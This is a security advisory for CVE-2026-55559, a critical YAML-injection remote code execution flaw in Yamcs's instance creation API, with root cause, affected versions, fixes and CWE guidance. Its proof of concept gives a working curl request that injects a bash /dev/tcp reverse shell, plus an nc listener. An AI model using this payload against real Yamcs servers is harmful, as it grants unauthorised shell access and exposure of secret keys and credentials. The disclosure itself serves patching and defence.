GHSA-73mf-m39p-wpm9 CVE-2026-55559
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
- Severity
- 9.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.78%
- Chance of exploitation in the next 30 days. Higher than 56.06% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
- CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
5.13.2- Upgrade org.yamcs:yamcs-core to this version or later
Description
Summary
templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.
Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.
Details
VarStatement appends arg values with no escaping:
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);
The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.
Request to exec:
InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
→ YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
→ YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
→ org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).
createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.
A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.
PoC
Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".
Listener:
nc -lvnp 4444
Request (set <LHOST> / <LPORT> to the listener):
curl -i -X POST http://<target>:8090/api/instances \
-H 'Content-Type: application/json' \
-d '{
"name": "pwned",
"template": "example",
"templateArgs": {
"spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
"bar": "Option 2"
}
}'
Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".
With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.
Impact
Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.
It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.
Affected versions
Maven
| Package | Vulnerable | Fixed in |
|---|---|---|
| org.yamcs:yamcs-core | >= 5.13.0, < 5.13.2 |
5.13.2 |
| org.yamcs:yamcs-core | < 5.12.8 |
5.12.8 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
org.yamcs:yamcs-core Maven → 5.13.2
- maven
<dependency><groupId>org.yamcs</groupId><artifactId>yamcs-core</artifactId><version>5.13.2</version></dependency>- gradle
implementation("org.yamcs:yamcs-core:5.13.2")
Severity breakdown
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
How to prevent it
- Architecture and Design: Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
- Implementation: Use the template engine's sandbox or restricted mode, if available.
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
How to prevent it
- Architecture and Design: Refactor your code to avoid using reflection.
- Architecture and Design: Do not use user-controlled inputs to select and load classes or code.
- Implementation: Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9272-wg2r-7xmx Yamcs has DOM XSS in Extension Routing | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-c64q-hj4j-375f Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`) | Critical | Also affects org.yamcs:yamcs-core |
| GHSA-9jg3-g3wh-w9pj Yamcs has Unauthenticated Directory Traversal | High | Also affects org.yamcs:yamcs-core |
| GHSA-rxpg-wjf8-qv9c Yamcs has Reflected XSS in the URL of the Authorize Endpoint | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-cvw4-55pp-3hfq Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-fwww-cp23-7f5g Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-962x-ccwf-8x6p Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities | High | Also affects org.yamcs:yamcs-core |
| GHSA-3g44-3m7x-cgg2 Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql` | Critical | Also affects org.yamcs:yamcs-core |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor